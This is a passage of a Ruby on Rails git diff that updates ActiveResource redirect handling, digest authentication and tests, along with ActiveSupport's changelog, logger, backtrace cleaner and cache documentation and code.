ActiveResource end private + + def read_attribute_for_serialization(n) + attributes[n] + end + + # Determine whether the response is allowed to have a body per HTTP 1.1 spec section 4.4.1 + def response_code_allows_body?(c) + !((100..199).include?(c) || [204,304].include?(c)) + end + # Tries to find a resource for a given collection name; if it fails, then the resource is created def find_or_create_resource_for_collection(name) find_or_create_resource_for(ActiveSupport::Inflector.singularize(name.to_s)) diff --git a/activeresource/lib/active_resource/connection.rb b/activeresource/lib/active_resource/connection.rb index d923204dde..94839c8c25 100644 --- a/activeresource/lib/active_resource/connection.rb +++ b/activeresource/lib/active_resource/connection.rb @@ -122,7 +122,7 @@ module ActiveResource # Handles response and error codes from the remote service. def handle_response(response) case response.code.to_i - when 301,302 + when 301, 302, 303, 307 raise(Redirection.new(response)) when 200...400 response @@ -238,8 +238,11 @@ module ActiveResource def digest_auth_header(http_method, uri) params = extract_params_from_response + request_uri = uri.path + request_uri << "?#{uri.query}" if uri.query + ha1 = Digest::MD5.hexdigest("#{@user}:#{params['realm']}:#{@password}") - ha2 = Digest::MD5.hexdigest("#{http_method.to_s.upcase}:#{uri.path}") + ha2 = Digest::MD5.hexdigest("#{http_method.to_s.upcase}:#{request_uri}") params.merge!('cnonce' => client_nonce) request_digest = Digest::MD5.hexdigest([ha1, params['nonce'], "0", params['cnonce'], params['qop'], ha2].join(":")) diff --git a/activeresource/lib/active_resource/http_mock.rb b/activeresource/lib/active_resource/http_mock.rb index e90580be4f..36f52d61d3 100644 --- a/activeresource/lib/active_resource/http_mock.rb +++ b/activeresource/lib/active_resource/http_mock.rb @@ -55,7 +55,7 @@ module ActiveResource @responses = responses end - for method in [ :post, :put, :get, :delete, :head ] + [ :post, :put, :get, :delete, :head ].each do |method| # def post(path, request_headers = {}, body = nil, status = 200, response_headers = {}) # @responses[Request.new(:post, path, nil, request_headers)] = Response.new(body || "", status, response_headers) # end @@ -149,7 +149,7 @@ module ActiveResource # Note, by default, every time you call +respond_to+, any previous request and response pairs stored # in HttpMock will be deleted giving you a clean slate to work on. # - # If you want to override this behaviour, pass in +false+ as the last argument to +respond_to+ + # If you want to override this behavior, pass in +false+ as the last argument to +respond_to+ # # === Example # diff --git a/activeresource/lib/active_resource/schema.rb b/activeresource/lib/active_resource/schema.rb index 3fd37a9bb6..5957969aa2 100644 --- a/activeresource/lib/active_resource/schema.rb +++ b/activeresource/lib/active_resource/schema.rb @@ -20,8 +20,8 @@ module ActiveResource # :nodoc: # end # # The schema stores the name and type of each attribute. That is then - # read out by the schema method to populate the actual - # Resource's schema + # read out by the schema method to populate the schema of the actual + # resource. def initialize @attrs = {} end @@ -40,6 +40,12 @@ module ActiveResource # :nodoc: # The following are the attribute types supported by Active Resource # migrations. KNOWN_ATTRIBUTE_TYPES.each do |attr_type| + # def string(*args) + # options = args.extract_options! + # attr_names = args + # + # attr_names.each { |name| attribute(name, 'string', options) } + # end class_eval <<-EOV, __FILE__, __LINE__ + 1 def #{attr_type.to_s}(*args) options = args.extract_options! diff --git a/activeresource/lib/active_resource/version.rb b/activeresource/lib/active_resource/version.rb index f26e2312b9..d53374b261 100644 --- a/activeresource/lib/active_resource/version.rb +++ b/activeresource/lib/active_resource/version.rb @@ -1,9 +1,9 @@ module ActiveResource module VERSION #:nodoc: MAJOR = 3 - MINOR = 1 + MINOR = 2 TINY = 0 - PRE = "beta1" + PRE = "beta" STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end diff --git a/activeresource/test/abstract_unit.rb b/activeresource/test/abstract_unit.rb index 948dd94a1d..9c1e9a526d 100644 --- a/activeresource/test/abstract_unit.rb +++ b/activeresource/test/abstract_unit.rb @@ -3,7 +3,6 @@ require File.expand_path('../../../load_paths', __FILE__) lib = File.expand_path("#{File.dirname(__FILE__)}/../lib") $:.unshift(lib) unless $:.include?('lib') || $:.include?(lib) -require 'rubygems' require 'test/unit' require 'active_resource' require 'active_support' @@ -14,11 +13,6 @@ require 'setter_trap' require 'logger' ActiveResource::Base.logger = Logger.new("#{File.dirname(__FILE__)}/debug.log") -begin - require 'ruby-debug' -rescue LoadError -end - def setup_response matz_hash = { 'person' => { :id => 1, :name => 'Matz' } } diff --git a/activeresource/test/cases/authorization_test.rb b/activeresource/test/cases/authorization_test.rb index 69ef9a2821..17cd9b30fc 100644 --- a/activeresource/test/cases/authorization_test.rb +++ b/activeresource/test/cases/authorization_test.rb @@ -131,6 +131,12 @@ class AuthorizationTest < Test::Unit::TestCase assert_equal blank_digest_auth_header("/people/2.json", "fad396f6a34aeba28e28b9b96ddbb671"), authorization_header['Authorization'] end + def test_authorization_header_with_query_string_if_auth_type_is_digest + @authenticated_conn.auth_type = :digest + authorization_header = @authenticated_conn.__send__(:authorization_header, :get, URI.parse('/people/2.json?only=name')) + assert_equal blank_digest_auth_header("/people/2.json?only=name", "f8457b0b5d21b6b80737a386217afb24"), authorization_header['Authorization'] + end + def test_get david = decode(@authenticated_conn.get("/people/2.json")) assert_equal "David", david["name"] diff --git a/activeresource/test/cases/base/load_test.rb b/activeresource/test/cases/base/load_test.rb index d6b04cfaa8..784e7dd036 100644 --- a/activeresource/test/cases/base/load_test.rb +++ b/activeresource/test/cases/base/load_test.rb @@ -51,9 +51,28 @@ class BaseLoadTest < Test::Unit::TestCase :votes => [ true, false, true ], :places => [ "Columbia City", "Unknown" ]}}} + + # List of books formated as [{timestamp_of_publication => name}, ...] + @books = {:books => [ + {1009839600 => "Ruby in a Nutshell"}, + {1199142000 => "The Ruby Programming Language"} + ]} + + @books_date = {:books => [ + {Time.at(1009839600) => "Ruby in a Nutshell"}, + {Time.at(1199142000) => "The Ruby Programming Language"} + ]} @person = Person.new end + def test_load_hash_with_integers_as_keys + assert_nothing_raised{@person.load(@books)} + end + + def test_load_hash_with_dates_as_keys + assert_nothing_raised{@person.load(@books_date)} + end + def test_load_expects_hash assert_raise(ArgumentError) { @person.load nil } assert_raise(ArgumentError) { @person.load '<person id="1"/>' } @@ -72,7 +91,6 @@ class BaseLoadTest < Test::Unit::TestCase def test_after_load_attributes_are_accessible_via_indifferent_access assert_equal Hash.new, @person.attributes - matz_attributes = @matz.values.first assert_equal @matz.stringify_keys, @person.load(@matz).attributes assert_equal @matz[:name], @person.attributes['name'] assert_equal @matz[:name], @person.attributes[:name] diff --git a/activeresource/test/cases/base/schema_test.rb b/activeresource/test/cases/base/schema_test.rb index 48fdeb13df..d29eaf5fb6 100644 --- a/activeresource/test/cases/base/schema_test.rb +++ b/activeresource/test/cases/base/schema_test.rb @@ -139,7 +139,7 @@ class SchemaTest < ActiveModel::TestCase assert_nothing_raised { Person.schema = new_schema assert_equal new_schema, Person.schema, "should have saved the schema on the class" - assert_equal new_schema, Person.new.schema, "should have mde the schema available to every instance" + assert_equal new_schema, Person.new.schema, "should have made the schema available to every instance" } end @@ -283,8 +283,8 @@ class SchemaTest < ActiveModel::TestCase new_attr_name_two = :another_new_schema_attribute assert Person.schema.blank?, "sanity check - should have a blank class schema" - assert !Person.new.respond_do?(new_attr_name), "sanity check - should not respond to the brand-new attribute yet" - assert !Person.new.respond_do?(new_attr_name_two), "sanity check - should not respond to the brand-new attribute yet" + assert !Person.new.respond_to?(new_attr_name), "sanity check - should not respond to the brand-new attribute yet" + assert !Person.new.respond_to?(new_attr_name_two), "sanity check - should not respond to the brand-new attribute yet" assert_nothing_raised do Person.schema = {new_attr_name.to_s => 'string'} @@ -301,8 +301,8 @@ class SchemaTest < ActiveModel::TestCase assert Person.schema.blank?, "sanity check - should have a blank class schema" - assert !Person.new.respond_do?(new_attr_name), "sanity check - should not respond to the brand-new attribute yet" - assert !Person.new.respond_do?(new_attr_name_two), "sanity check - should not respond to the brand-new attribute yet" + assert !Person.new.respond_to?(new_attr_name), "sanity check - should not respond to the brand-new attribute yet" + assert !Person.new.respond_to?(new_attr_name_two), "sanity check - should not respond to the brand-new attribute yet" assert_nothing_raised do Person.schema { string new_attr_name_two } diff --git a/activeresource/test/cases/base_test.rb b/activeresource/test/cases/base_test.rb index f45652d988..7b42f64a35 100644 --- a/activeresource/test/cases/base_test.rb +++ b/activeresource/test/cases/base_test.rb @@ -636,13 +636,37 @@ class BaseTest < Test::Unit::TestCase assert_nil p.__send__(:id_from_response, resp) end - def test_load_attributes_from_response - p = Person.new + def test_not_persisted_with_no_body_and_positive_content_length resp = ActiveResource::Response.new(nil) resp['Content-Length'] = "100" - assert_nil p.__send__(:load_attributes_from_response, resp) + Person.connection.expects(:post).returns(resp) + assert !Person.create.persisted? + end + + def test_not_persisted_with_body_and_zero_content_length + resp = ActiveResource::Response.new(@rick) + resp['Content-Length'] = "0" + Person.connection.expects(:post).returns(resp) + assert !Person.create.persisted? end + # These response codes aren't allowed to have bodies per HTTP spec + def test_not_persisted_with_empty_response_codes + [100,101,204,304].each do |status_code| + resp = ActiveResource::Response.new(@rick, status_code) + Person.connection.expects(:post).returns(resp) + assert !Person.create.persisted? + end + end + + # Content-Length is not required by HTTP 1.1, so we should read + # the body anyway in its absence. + def test_persisted_with_no_content_length + resp = ActiveResource::Response.new(@rick) + resp['Content-Length'] = nil + Person.connection.expects(:post).returns(resp) + assert Person.create.persisted? + end def test_create_with_custom_prefix matzs_house = StreetAddress.new(:person_id => 1) @@ -980,9 +1004,17 @@ class BaseTest < Test::Unit::TestCase def test_to_xml_with_private_method_name_as_attribute Person.format = :xml - assert_nothing_raised(ArgumentError) { - Customer.new(:test => true).to_xml - } + + customer = Customer.new(:foo => "foo") + customer.singleton_class.class_eval do + def foo + "bar" + end + private :foo + end + + assert !customer.to_xml.include?("<foo>bar</foo>") + assert customer.to_xml.include?("<foo>foo</foo>") ensure Person.format = :json end diff --git a/activeresource/test/cases/connection_test.rb b/activeresource/test/cases/connection_test.rb index 09df0fb678..535107aeef 100644 --- a/activeresource/test/cases/connection_test.rb +++ b/activeresource/test/cases/connection_test.rb @@ -2,6 +2,7 @@ require 'abstract_unit' class ConnectionTest < Test::Unit::TestCase ResponseCodeStub = Struct.new(:code) + RedirectResponseStub = Struct.new(:code, :Location) def setup @conn = ActiveResource::Connection.new('http://localhost') @@ -38,6 +39,18 @@ class ConnectionTest < Test::Unit::TestCase assert_equal expected, handle_response(expected) end + # 301 is moved permanently (redirect) + assert_redirect_raises 301 + + # 302 is found (redirect) + assert_redirect_raises 302 + + # 303 is see other (redirect) + assert_redirect_raises 303 + + # 307 is temporary redirect + assert_redirect_raises 307 + # 400 is a bad request (e.g. malformed URI or missing request parameter) assert_response_raises ActiveResource::BadRequest, 400 @@ -247,6 +260,12 @@ class ConnectionTest < Test::Unit::TestCase end end + def assert_redirect_raises(code) + assert_raise(ActiveResource::Redirection, "Expected response code #{code} to raise ActiveResource::Redirection") do + handle_response RedirectResponseStub.new(code, 'http://example.com/') + end + end + def handle_response(response) @conn.__send__(:handle_response, response) end diff --git a/activeresource/test/cases/finder_test.rb b/activeresource/test/cases/finder_test.rb index 9c51f2a390..5fbbfeef6e 100644 --- a/activeresource/test/cases/finder_test.rb +++ b/activeresource/test/cases/finder_test.rb @@ -95,7 +95,7 @@ class FinderTest < Test::Unit::TestCase def test_find_all_sub_objects_not_found assert_nothing_raised do - addys = StreetAddress.find(:all, :params => { :person_id => 2 }) + StreetAddress.find(:all, :params => { :person_id => 2 }) end end diff --git a/activeresource/test/cases/log_subscriber_test.rb b/activeresource/test/cases/log_subscriber_test.rb index b9143f5b67..ab5c22a783 100644 --- a/activeresource/test/cases/log_subscriber_test.rb +++ b/activeresource/test/cases/log_subscriber_test.rb @@ -23,7 +23,7 @@ class LogSubscriberTest < ActiveSupport::TestCase end def test_request_notification - matz = Person.find(1) + Person.find(1) wait assert_equal 2, @logger.logged(:info).size assert_equal "GET http://37s.sunrise.i:3000/people/1.json", @logger.logged(:info)[0] diff --git a/activeresource/test/cases/observing_test.rb b/activeresource/test/cases/observing_test.rb index ca3ab5d03d..58d3d389ff 100644 --- a/activeresource/test/cases/observing_test.rb +++ b/activeresource/test/cases/observing_test.rb @@ -37,7 +37,7 @@ class ObservingTest < Test::Unit::TestCase end def test_create_fires_save_and_create_notifications - rick = Person.create(:name => 'Rick') + Person.create(:name => 'Rick') assert_equal [:before_save, :before_create, :after_create, :after_save], self.history end diff --git a/activesupport/CHANGELOG b/activesupport/CHANGELOG index 23b0df1d5c..8609198641 100644 --- a/activesupport/CHANGELOG +++ b/activesupport/CHANGELOG @@ -1,4 +1,57 @@ -*Rails 3.1.0 (unreleased)* +*Rails 3.2.0 (unreleased)* + +* Module#qualified_const_(defined?|get|set) are analogous to the corresponding methods + in the standard API, but accept qualified constant names. [fxn] + +* Added inflection #deconstantize which complements #demodulize. This inflection + removes the righmost segment in a qualified constant name. [fxn] + +* Added ActiveSupport:TaggedLogging that can wrap any standard Logger class to provide tagging capabilities [DHH] + + Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) + Logger.tagged("BCX") { Logger.info "Stuff" } # Logs "[BCX] Stuff" + Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff" + Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff" + +* Added safe_constantize that constantizes a string but returns nil instead of an exception if the constant (or part of it) does not exist [Ryan Oblak] + +* ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options! [Prem Sichanugrist] + +* Added Array#prepend as an alias for Array#unshift and Array#append as an alias for Array#<< [DHH] + +* The definition of blank string for Ruby 1.9 has been extended to Unicode whitespace. +Also, in 1.8 the ideographic space U+3000 is considered to be whitespace. [Akira Matsuda, Damien Mathieu] + +* The inflector understands acronyms. [dlee] + +* Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern [José Valim] + +* Added Time#all_day/week/quarter/year as a way of generating ranges (example: Event.where(created_at: Time.now.all_week)) [DHH] + +* Added instance_accessor: false as an option to Class#cattr_accessor and friends [DHH] + +* Removed ActiveSupport::SecureRandom in favor of SecureRandom from the standard library [Jon Leighton] + +* ActiveSupport::OrderedHash now has different behavior for #each and +#each_pair when given a block accepting its parameters with a splat. [Andrew Radev] + +*Rails 3.1.0 (August 30, 2011)* + +* ActiveSupport::Dependencies#load and ActiveSupport::Dependencies#require now +return the value from `super` [Aaron Patterson] + +* Fixed ActiveSupport::Gzip to work properly in Ruby 1.8 [Guillermo Iguaran] + +* Kernel.require_library_or_gem was deprecated and will be removed in Rails 3.2.0 [Josh Kalderimis] + +* ActiveSupport::Duration#duplicable? was fixed for Ruby 1.8 [thedarkone] + +* ActiveSupport::BufferedLogger set log encoding to BINARY, but still use text +mode to output portable newlines. [fxn] + +* ActiveSupport::Dependencies now raises NameError if it finds an existing constant in load_missing_constant. This better reflects the nature of the error which is usually caused by calling constantize on a nested constant. [Andrew White] + +* Deprecated ActiveSupport::SecureRandom in favour of SecureRandom from the standard library [Jon Leighton] * New reporting method Kernel#quietly. [fxn] diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc index 8bb15e849a..1ab8e00608 100644 --- a/activesupport/README.rdoc +++ b/activesupport/README.rdoc @@ -8,13 +8,13 @@ outside of Rails. == Download and installation -The latest version of Active Support can be installed with Rubygems: +The latest version of Active Support can be installed with RubyGems: % [sudo] gem install activesupport Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/master/activesupport/ +* https://github.com/rails/rails/tree/master/activesupport == License @@ -26,7 +26,7 @@ Active Support is released under the MIT license. API documentation is at -* http://api.rubyonrails.com +* http://api.rubyonrails.org Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here: diff --git a/activesupport/Rakefile b/activesupport/Rakefile index d117ca6356..822c9d98ae 100755 --- a/activesupport/Rakefile +++ b/activesupport/Rakefile @@ -1,5 +1,5 @@ require 'rake/testtask' -require 'rake/gempackagetask' +require 'rubygems/package_task' task :default => :test Rake::TestTask.new do |t| @@ -20,7 +20,7 @@ dist_dirs = [ "lib", "test"] spec = eval(File.read('activesupport.gemspec')) -Rake::GemPackageTask.new(spec) do |p| +Gem::PackageTask.new(spec) do |p| p.gem_spec = spec end diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec index c5b5b57dec..2ee6bb788a 100644 --- a/activesupport/activesupport.gemspec +++ b/activesupport/activesupport.gemspec @@ -9,13 +9,13 @@ Gem::Specification.new do |s| s.required_ruby_version = '>= 1.8.7' - s.author = 'David Heinemeier Hansson' - s.email = 'david@loudthinking.com' - s.homepage = 'http://www.rubyonrails.org' - s.rubyforge_project = 'activesupport' + s.author = 'David Heinemeier Hansson' + s.email = 'david@loudthinking.com' + s.homepage = 'http://www.rubyonrails.org' - s.files = Dir['CHANGELOG', 'README.rdoc', 'lib/**/*'] + s.files = Dir['CHANGELOG', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*'] s.require_path = 'lib' + s.add_dependency('i18n', '~> 0.6') s.add_dependency('multi_json', '~> 1.0') end diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb index a846f81c12..ff78e718f2 100644 --- a/activesupport/lib/active_support.rb +++ b/activesupport/lib/active_support.rb @@ -21,6 +21,8 @@ # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. #++ +require 'securerandom' + module ActiveSupport class << self attr_accessor :load_all_hooks @@ -30,7 +32,7 @@ module ActiveSupport self.load_all_hooks = [] on_load_all do - [Dependencies, Deprecation, Gzip, MessageVerifier, Multibyte, SecureRandom] + [Dependencies, Deprecation, Gzip, MessageVerifier, Multibyte] end end @@ -68,8 +70,8 @@ module ActiveSupport autoload :OrderedHash autoload :OrderedOptions autoload :Rescuable - autoload :SecureRandom autoload :StringInquirer + autoload :TaggedLogging autoload :XmlMini end diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb index 0e6bc30fa2..8f8deb9692 100644 --- a/activesupport/lib/active_support/backtrace_cleaner.rb +++ b/activesupport/lib/active_support/backtrace_cleaner.rb @@ -1,12 +1,12 @@ module ActiveSupport - # Many backtraces include too much information that's not relevant for the context. This makes it hard to find the signal - # in the backtrace and adds debugging time. With a BacktraceCleaner, you can setup filters and silencers for your particular - # context, so only the relevant lines are included. + # Backtraces often include many lines that are not relevant for the context under review. This makes it hard to find the + # signal amongst the backtrace noise, and adds debugging time. With a BacktraceCleaner, filters and silencers are used to + # remove the noisy lines, so that only the most relevant lines remain. # - # If you need to reconfigure an existing BacktraceCleaner, like the one in Rails, to show as much as possible, you can always - # call BacktraceCleaner#remove_silencers! Also, if you need to reconfigure an existing BacktraceCleaner so that it does not - # filter or modify the paths of any lines of the backtrace, you can call BacktraceCleaner#remove_filters! These two methods - # will give you a completely untouched backtrace. + # Filters are used to modify lines of data, while silencers are used to remove lines entirely. The typical filter use case + # is to remove lengthy path information from the start of each line, and view file paths relevant to the app directory + # instead of the file system root. The typical silencer use case is to exclude the output of a noisy library from the + # backtrace, so that you can focus on the rest. # # ==== Example: # @@ -15,13 +15,18 @@ module ActiveSupport # bc.add_silencer { |line| line =~ /mongrel|rubygems/ } # bc.clean(exception.backtrace) # will strip the Rails.root prefix and skip any lines from mongrel or rubygems # + # To reconfigure an existing BacktraceCleaner (like the default one in Rails) and show as much data as possible, you can + # always call <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the backtrace to a pristine state. If you + # need to reconfigure an existing BacktraceCleaner so that it does not filter or modify the paths of any lines of the + # backtrace, you can call BacktraceCleaner#remove_filters! These two methods will give you a completely untouched backtrace. + # # Inspired by the Quiet Backtrace gem by Thoughtbot. class BacktraceCleaner def initialize @filters, @silencers = [], [] end - # Returns the backtrace after all filters and silencers has been run against it. Filters run first, then silencers. + # Returns the backtrace after all filters and silencers have been run against it. Filters run first, then silencers. def clean(backtrace, kind = :silent) filtered = filter(backtrace) @@ -45,8 +50,8 @@ module ActiveSupport @filters << block end - # Adds a silencer from the block provided. If the silencer returns true for a given line, it'll be excluded from the - # clean backtrace. + # Adds a silencer from the block provided. If the silencer returns true for a given line, it will be excluded from + # the clean backtrace. # # Example: # @@ -57,7 +62,7 @@ module ActiveSupport end # Will remove all silencers, but leave in the filters. This is useful if your context of debugging suddenly expands as - # you suspect a bug in the libraries you use. + # you suspect a bug in one of the libraries you use. def remove_silencers! @silencers = [] end diff --git a/activesupport/lib/active_support/benchmarkable.rb b/activesupport/lib/active_support/benchmarkable.rb index df62c18f41..cc94041a1d 100644 --- a/activesupport/lib/active_support/benchmarkable.rb +++ b/activesupport/lib/active_support/benchmarkable.rb @@ -3,41 +3,36 @@ require 'active_support/core_ext/hash/keys' module ActiveSupport module Benchmarkable - # Allows you to measure the execution time of a block - # in a template and records the result to the log. Wrap this block around - # expensive operations or possible bottlenecks to get a time reading - # for the operation. For example, let's say you thought your file - # processing method was taking too long; you could wrap it in a benchmark block. + # Allows you to measure the execution time of a block in a template and records the result to + # the log. Wrap this block around expensive operations or possible bottlenecks to get a time + # reading for the operation. For example, let's say you thought your file processing method + # was taking too long; you could wrap it in a benchmark block. # # <% benchmark "Process data files" do %> # <%= expensive_files_operation %> # <% end %> # - # That would add something like "Process data files (345.2ms)" to the log, - # which you can then use to compare timings when optimizing your code. + # That would add something like "Process data files (345.2ms)" to the log, which you can then + # use to compare timings when optimizing your code. # - # You may give an optional logger level as the :level option. - # (:debug, :info, :warn, :error); the default value is :info. + # You may give an optional logger level (:debug, :info, :warn, :error) as the :level option. + # The default logger level value is :info. # # <% benchmark "Low-level files", :level => :debug do %> # <%= lowlevel_files_operation %> # <% end %> # - # Finally, you can pass true as the third argument to silence all log activity - # inside the block. This is great for boiling down a noisy block to just a single statement: + # Finally, you can pass true as the third argument to silence all log activity (other than the + # timing information) from inside the block. This is great for boiling down a noisy block to + # just a single statement that produces one log line: # # <% benchmark "Process data files", :level => :info, :silence => true do %> # <%= expensive_and_chatty_files_operation %> # <% end %> def benchmark(message = "Benchmarking", options = {}) if logger - if options.is_a?(Symbol) - ActiveSupport::Deprecation.warn("use benchmark('#{message}', :level => :#{options}) instead", caller) - options = { :level => options, :silence => false } - else - options.assert_valid_keys(:level, :silence) - options[:level] ||= :info - end + options.assert_valid_keys(:level, :silence) + options[:level] ||= :info result = nil ms = Benchmark.ms { result = options[:silence] ? logger.silence { yield } : yield } diff --git a/activesupport/lib/active_support/buffered_logger.rb b/activesupport/lib/active_support/buffered_logger.rb index b937d4c50d..136e245859 100644 --- a/activesupport/lib/active_support/buffered_logger.rb +++ b/activesupport/lib/active_support/buffered_logger.rb @@ -25,22 +25,28 @@ module ActiveSupport # Silences the logger for the duration of the block. def silence(temporary_level = ERROR) if silencer + old_logger_level = @tmp_levels[Thread.current] begin - old_logger_level, self.level = level, temporary_level + @tmp_levels[Thread.current] = temporary_level yield self ensure - self.level = old_logger_level + if old_logger_level + @tmp_levels[Thread.current] = old_logger_level + else + @tmp_levels.delete(Thread.current) + end end else yield self end end - attr_accessor :level + attr_writer :level attr_reader :auto_flushing def initialize(log, level = DEBUG) @level = level + @tmp_levels = {} @buffer = Hash.new { |h,k| h[k] = [] } @auto_flushing = 1 @guard = Mutex.new @@ -56,14 +62,18 @@ module ActiveSupport end def open_log(log, mode) - open(log, mode).tap do |log| - log.set_encoding(Encoding::BINARY) if log.respond_to?(:set_encoding) - log.sync = true + open(log, mode).tap do |open_log| + open_log.set_encoding(Encoding::BINARY) if open_log.respond_to?(:set_encoding) + open_log.sync = true end end + def level + @tmp_levels[Thread.current] || @level + end + def add(severity, message = nil, progname = nil, &block) - return if @level > severity + return if level > severity message = (message || (block && block.call) || progname).to_s # If a newline is necessary then create a new message ending with a newline. # Ensures that the original message is not mutated. @@ -77,14 +87,14 @@ module ActiveSupport # def info # def warn # def debug - for severity in Severity.constants + Severity.constants.each do |severity| class_eval <<-EOT, __FILE__, __LINE__ + 1 def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block) add(#{severity}, message, progname, &block) # add(DEBUG, message, progname, &block) end # end def #{severity.downcase}? # def debug? - #{severity} >= @level # DEBUG >= @level + #{severity} >= level # DEBUG >= @level end # end EOT end @@ -105,13 +115,15 @@ module ActiveSupport def flush @guard.synchronize do - buffer.each do |content| - @log.write(content) - end + write_buffer(buffer) # Important to do this even if buffer was empty or else @buffer will # accumulate empty arrays for each request where nothing was logged. clear_buffer + + # Clear buffers associated with dead threads or else spawned threads + # that don't call flush will result in a memory leak. + flush_dead_buffers end end @@ -133,5 +145,21 @@ module ActiveSupport def clear_buffer @buffer.delete(Thread.current) end + + # Find buffers created by threads that are no longer alive and flush them to the log + # in order to prevent memory leaks from spawned threads. + def flush_dead_buffers #:nodoc: + @buffer.keys.reject{|thread| thread.alive?}.each do |thread| + buffer = @buffer[thread] + write_buffer(buffer) + @buffer.delete(thread) + end + end + + def write_buffer(buffer) + buffer.each do |content| + @log.write(content) + end + end end end diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb index 10c457bb1d..6535cc1eb5 100644 --- a/activesupport/lib/active_support/cache.rb +++ b/activesupport/lib/active_support/cache.rb @@ -16,8 +16,6 @@ module ActiveSupport autoload :FileStore, 'active_support/cache/file_store' autoload :MemoryStore, 'active_support/cache/memory_store' autoload :MemCacheStore, 'active_support/cache/mem_cache_store' - autoload :SynchronizedMemoryStore, 'active_support/cache/synchronized_memory_store' - autoload :CompressedMemCacheStore, 'active_support/cache/compressed_mem_cache_store' # These options mean something to all cache implementations. Individual cache # implementations may support additional options. @@ -116,31 +114,32 @@ module ActiveSupport # cache.read("city") # => "Duckburgh" # # Keys are always translated into Strings and are case sensitive. When an - # object is specified as a key, its +cache_key+ method will be called if it - # is defined. Otherwise, the +to_param+ method will be called. Hashes and - # Arrays can be used as keys. The elements will be delimited by slashes - # and Hashes elements will be sorted by key so they are consistent. + # object is specified as a key and has a +cache_key+ method defined, this + # method will be called to define the key. Otherwise, the +to_param+ + # method will be called. Hashes and Arrays can also be used as keys. The + # elements will be delimited by slashes, and the elements within a Hash + # will be sorted by key so they are consistent. # # cache.read("city") == cache.read(:city) # => true # # Nil values can be cached. # - # If your cache is on a shared infrastructure, you can define a namespace for - # your cache entries. If a namespace is defined, it will be prefixed on to every - # key. The namespace can be either a static value or a Proc. If it is a Proc, it - # will be invoked when each key is evaluated so that you can use application logic - # to invalidate keys. + # If your cache is on a shared infrastructure, you can define a namespace + # for your cache entries. If a namespace is defined, it will be prefixed on + # to every key. The namespace can be either a static value or a Proc. If it + # is a Proc, it will be invoked when each key is evaluated so that you can + # use application logic to invalidate keys. # # cache.namespace = lambda { @last_mod_time } # Set the namespace to a variable # @last_mod_time = Time.now # Invalidate the entire cache by changing namespace # # - # Caches can also store values in a compressed format to save space and reduce - # time spent sending data. Since there is some overhead, values must be large - # enough to warrant compression. To turn on compression either pass - # <tt>:compress => true</tt> in the initializer or to +fetch+ or +write+. - # To specify the threshold at which to compress values, set - # <tt>:compress_threshold</tt>. The default threshold is 32K. + # Caches can also store values in a compressed format to save space and + # reduce time spent sending data. Since there is overhead, values must be + # large enough to warrant compression. To turn on compression either pass + # <tt>:compress => true</tt> in the initializer or as an option to +fetch+ + # or +write+. To specify the threshold at which to compress values, set the + # <tt>:compress_threshold</tt> option. The default threshold is 16K. class Store cattr_accessor :logger, :instance_writer => true @@ -180,11 +179,11 @@ module ActiveSupport # Fetches data from the cache, using the given key. If there is data in # the cache with the given key, then that data is returned. # - # If there is no such data in the cache (a cache miss occurred), - # then nil will be returned. However, if a block has been passed, then - # that block will be run in the event of a cache miss. The return value - # of the block will be written to the cache under the given cache key, - # and that return value will be returned. + # If there is no such data in the cache (a cache miss), then nil will be + # returned. However, if a block has been passed, that block will be run + # in the event of a cache miss. The return value of the block will be + # written to the cache under the given cache key, and that return value + # will be returned. # # cache.write("today", "Monday") # cache.fetch("today") # => "Monday" @@ -205,10 +204,11 @@ module ActiveSupport # in a compressed format. # # - # Setting <tt>:expires_in</tt> will set an expiration time on the cache. All caches - # support auto expiring content after a specified number of seconds. This value can - # be specified as an option to the construction in which call all entries will be - # affected. Or it can be supplied to the +fetch+ or +write+ method for just one entry. + # Setting <tt>:expires_in</tt> will set an expiration time on the cache. + # All caches support auto-expiring content after a specified number of + # seconds. This value can be specified as an option to the constructor + # (in which case all entries will be affected), or it can be supplied to + # the +fetch+ or +write+ method to effect just one entry. # # cache = ActiveSupport::Cache::MemoryStore.new(:expires_in => 5.minutes) # cache.write(key, value, :expires_in => 1.minute) # Set a lower value for one entry @@ -230,7 +230,7 @@ module ActiveSupport # <tt>:race_condition_ttl</tt> does not play any role. # # # Set all values to expire after one minute. - # cache = ActiveSupport::Cache::MemoryCache.new(:expires_in => 1.minute) + # cache = ActiveSupport::Cache::MemoryStore.new(:expires_in => 1.minute) # # cache.write("foo", "original value") # val_1 = nil @@ -345,7 +345,7 @@ module ActiveSupport entry = read_entry(key, options) if entry if entry.expired? - delete_entry(key) + delete_entry(key, options) else results[name] = entry.value end @@ -555,15 +555,14 @@ module ActiveSupport @expires_in = options[:expires_in] @expires_in = @expires_in.to_f if @expires_in @created_at = Time.now.to_f - if value - if should_compress?(value, options) - @value = Zlib::Deflate.deflate(Marshal.dump(value)) + if value.nil? + @value = nil + else + @value = Marshal.dump(value) + if should_compress?(@value, options) + @value = Zlib::Deflate.deflate(@value) @compressed = true - else - @value = value end - else - @value = nil end end @@ -575,11 +574,7 @@ module ActiveSupport # Get the value stored in the cache. def value if @value - val = compressed? ? Marshal.load(Zlib::Inflate.inflate(@value)) : @value - unless val.frozen? - val.freeze rescue nil - end - val + Marshal.load(compressed? ? Zlib::Inflate.inflate(@value) : @value) end end @@ -612,21 +607,16 @@ module ActiveSupport def size if @value.nil? 0 - elsif @value.respond_to?(:bytesize) - @value.bytesize else - 